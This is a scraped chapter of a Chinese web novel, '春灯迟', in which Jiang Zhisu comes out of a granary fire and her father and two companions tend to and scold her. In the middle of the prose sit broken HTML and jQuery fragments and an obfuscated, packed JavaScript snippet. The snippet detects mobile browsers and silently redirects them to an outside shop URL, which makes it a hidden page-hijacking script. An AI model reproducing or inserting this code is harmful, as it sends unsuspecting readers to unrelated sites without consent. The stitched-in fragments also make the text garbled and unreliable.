文趣网 > 都市小说 > 春灯迟 > 39. 第三十八章 没有伤到
    远处的鼓声一阵紧过一阵,沉沉地碾过夜色。

    不多时,仓门外便响起密集的马蹄,大营的援兵终于到了。

    姜衡翻身下马时,第一眼看见的是烧得通红的半边夜空,第二眼,便看见了被人从后巷扶出来的姜执素。

    她浑身湿透,头发散了大半,脸上全是烟灰,肩头那件毛毡已经焦黑了一角,左边袖口也被火燎了个大洞,露出里面发红的皮肤。

    姜衡脚步一顿,随即脸色沉下来,看着很是吓人:“姜执素。”

    隔着半个院子,他叫了她一声,声音不高,却越过了嘈杂的人声,清清楚楚落到她耳中。

    姜执素抬起头,看见父亲站在火光之外。

    她张了张嘴,喉咙却像被烟磨过,半晌也没能发出声音,只抬手朝他比了一下,示意自己无事。

    姜执素还未来得及走过去,仓门外又传来一阵疾驰的马蹄声。

    来人显然一路没有收缰,直到门前才猛地勒马,马的嘶鸣声几乎压过了院中的铜锣。

    贺连城翻身下马时踉跄了一下,他身上的伤本就未愈,方才那一下又扯到了后背,脚下却连停都没停,扶着马鞍站稳后便大步往仓中走去。

    他外袍只仓促地披在肩上,一把抓住迎面出来的兵士,冷声问道:“姜执素呢?”

    兵士被他抓得一愣,连忙指向后巷:“姜点检刚出来……”

    贺连城顺着他指的方向望去,火光与人影之间,姜执素正扶着墙壁缓缓地往外走着。

    来的路上他想了许多,直到亲眼看见她还活着,一路压在心头的焦灼才终于消散了不少。

    可转眼间他又看见了她被火燎破的衣袖,以及烧红的皮肤,于是脸色反而比方才更难看了。

    紧随其后的是陆时宜,他在门前下马,快步穿过人群,途中有人抬着伤者迎面过来,他侧身避让时,袖口擦上了血,也顾不上低头看一眼。

    姜执素站在火光之中,风卷起她散乱的长发,火星在身后纷纷扬扬地落下来。

    方才在小库里时,她只顾着救人,竟不觉得害怕,如今看见姜衡,又看见匆匆赶来的陆时宜和贺连城,那口一直提着的气才后知后觉地放了下来。

    她往前走了一步,谁知膝弯却忽然发软,眼前也跟着黑了一下。

    陆时宜已经到了她面前,他一手扣住她的手腕,另一只手稳稳托住她的手臂,将人扶住:“站好。”

    掌心的温度透过湿冷的衣袖传来,他手上的力道有些重,姜执素觉得手腕微微有些吃痛,下意识地抓住他的衣袖,艰难道:“我没事。”

    陆时宜没有回应这句话,他只是低下头,先看她的脸,又去看她被烧破的袖口:“哪里伤了?”

    “没有伤到。”

    “手给我。”

    姜执素想把手往回收:“真没有。”

    陆时宜并没有松手,只沉声道:“姜执素。”

    他很少这样叫她,声音低沉,听着甚至没有多少情绪。可离得近了,姜执素才发现,他的呼吸比平日里更加急促,托着她手掌的指尖也是冰凉的。

    她不再挣扎,任由他翻过自己的手腕,掌心蹭破了几处,手腕连着小臂的一片皮肤被火燎得通红,虽然看着吓人,伤得却不算严重。

    陆时宜逐一检查过,仍旧没有完全放心:“肩膀呢?”

    “只是毡子烧了一点,没碰到我。”

    “腿上?”

    “也没有。”她被问得有些无奈,咳了两声:“先生当我是从火里滚出来的吗?”

    陆时宜抬眼看她:“难道不是?”

    姜执素被他噎住。

    这时,贺连城也已经走过来,站在那里看向她,从她散乱的头发看到满脸的黑灰,又从焦黑的袖口看到脚下拖着泥水的鞋履。

    看得越仔细,面色便越冷冽。

    姜执素被他盯得不自在:“师兄这么看着我做什么?”

    “你进火场了?”

    姜执素咳了一声:“里面有人,而我认得路。”

    “这世上只剩你一个认路的人?”

    “人都救出来了,你还凶什么?”

    “我凶你?”贺连城几乎被气笑,他陡然拔高声音,随即牵动胸前的伤,气息一滞,偏过头重重地咳了一声。

    姜执素这才注意到他脸色不对:“你伤还没好,怎么也跑来了?”

    “你还知道我伤没好?”贺连城气得笑了一声,“西仓的火光半座城都看得见,将军府的人说你还没回来,难道叫我在府里躺着等你消息?”

    姜执素张了张嘴,她看见贺连城胸口起伏得厉害,不知是一路策马牵动了伤势,还是直到此刻,才真正后怕起来。

    “方才守门的人说,你还在里面。”他声音逐渐低了下来,“我一路过来都在想,若我到得晚了……”

    后半句话停住了。

    姜执素移开目光,有些理亏地小声道:“我这不是出来了吗?”

    贺连城冷笑:“你还挺得意。”

    “我没有。”

    “你就差写脸上了。”

    “我脸上全是灰,写得了吗?”姜执素语气凉凉地道。

    贺连城被她这话堵得一滞,陆时宜仍握着她的手腕,闻言看了她一眼:“还有力气顶嘴,看来确实没有伤到要害。”

    姜执素转头瞪他,张牙舞爪道:“先生到底帮谁?”

    “谁有理,便帮谁。”

    “那您现在觉得谁有理?”

    陆时宜没有回答,只抬手将她脸侧被水黏住的头发拨开,指腹擦过她的额角,带下来一道黑灰。

    他的动作停了半晌,只见姜执素额角靠近发际的地方,有一道细小的擦伤,血已经微微结块,不仔细看根本瞧不出来。

    陆时宜的目光沉了下去:“这是什么?”

    姜执素抬手摸了一下:“许是方才蹭到了门框。”

    陆时宜取出帕子,沾了旁边水桶里的清水,替她擦去面部周围的灰。

    姜执素下意识往后躲去。

    “疼?”陆时宜柔声问道。

    “不疼。”

    “那便别动。”他说话还是一贯的语气,手上的动作却很轻缓,擦到伤口边缘时,见姜执素的眉头动了一下,他便立刻停住。

    “回去让大夫看。”

    “这么一点伤……”姜执素看着他绷紧的下颌,最终将剩下的话咽了回去,只道了一句:“知道了。”

    贺连城站在一旁,冷眼看着陆时宜替她擦伤口,片刻后,他忽然解下肩上的外袍,直接披在姜执素身上。

    衣裳来得猝不及防,兜头罩下来,遮住了她半张脸,姜执素眼前一黑,好不容易才从衣领里钻出来。

    “你做什么?”</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17787341|204538||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    “你衣裳湿透了。”

    “这么大的火,我又不冷。”

    “闭嘴。”贺连城伸手替她将外袍拢紧,嘴上虽然这样说着,手上的动作却很温柔。只是他不知道怎的,系带时试了两次都没能系好,第三次才勉强打上结。

    姜执素低头看了一眼,这才发现他的手指正在发抖。

    她原本想说他手笨来着,系个结都能这么难看,可到底还是没说话。

    贺连城察觉她在看自己的手,立刻将手收到了背后:“看什么?”

    姜执素摇了摇头:“没什么。”

    姜衡此时正在同魏校尉说话,只见他沉声问道:“主仓如何?”

    “主仓无碍。共计烧毁空车七辆,未卸粮车两辆,西小库损毁未过半。纵火者抓到两人,只是他们应当还有同伙,极有可能是从暗渠逃出的。”

    “封锁西仓外所有岔路,沿着暗渠和山脚往外搜。”

    “是。”

    “伤亡呢?”

    “重伤三人,轻伤十一人,暂时无人死亡。”

    姜衡点了点头:“将伤员先送回营中医治。今夜所有当值之人分别问话,不许相互串供。西仓损毁的粮草,车马与器物,天亮前列出清单。”

    一道道命令传下去,原本混乱的院子渐渐重新有了章法。

    直到最后一队追兵领命离开,姜衡才转过身,朝姜执素走来。

    姜执素方才面对贺连城和陆时宜尚能顶上几句,此刻对上父亲的目光,气势却不由自主地矮了下去。

    “爹。”

    姜衡看着她,视线从她额角到肩头,又落在那双被烟灰熏得几乎看不出原样的手上。

    姜执素被他看得心里发虚,忍不住解释:“只是碰到了一点,没有伤到筋骨。”

    “进去了多久?”

    姜执素答道:“不到半刻钟,人都救出来了。”

    姜衡看了她片刻,良久只吩咐道:“回府。”

    姜执素没有立刻应声。

    她越过父亲的肩头,往后巷看了一眼。孙二和冯三郎都已经被抬走,邓全坐在墙边包扎手上的伤,罗六肩头也缠了一圈布,正低头同魏校尉说着什么。

    “邓全和罗六……”

    “都有人照看。”姜衡顺着她的目光看过去,“孙二和冯三郎已经送去医帐,问题不大。”

    姜执素这才稍稍松了口气。

    姜衡又道:“现在,你先随陆先生与贺小将军回府。”

    她抿了抿唇,这才低声应道:“知道了。”

    陆时宜扶着她往仓门外走,姜执素其实已经能站稳,却没有挣开他的手。方才那一阵软弱过去后,双腿仍有些发虚,脚下的石地像是棉花般松软。

    几人走出西仓时,身后的火已经压下去大半,风势也渐渐小了。被烧得通红的夜空渐渐暗下来,只余一层灰灰的烟悬在城西。

    姜执素回头看了一眼,火光仍在她眼底跳动。

    下一刻,贺连城抬手,将风帽一把扣在她头上,彻底挡住了她身后的风:“别看了。”

    姜执素的视线被遮住,只能看见前方被火把照亮的一小段路。

    陆时宜仍扶着她的手臂,她忽然觉得,方才在火场里一直没有察觉的疲惫,这时才铺天盖地地涌了上来。

    她裹紧身上的外袍,随着他们一步步走进夜色里。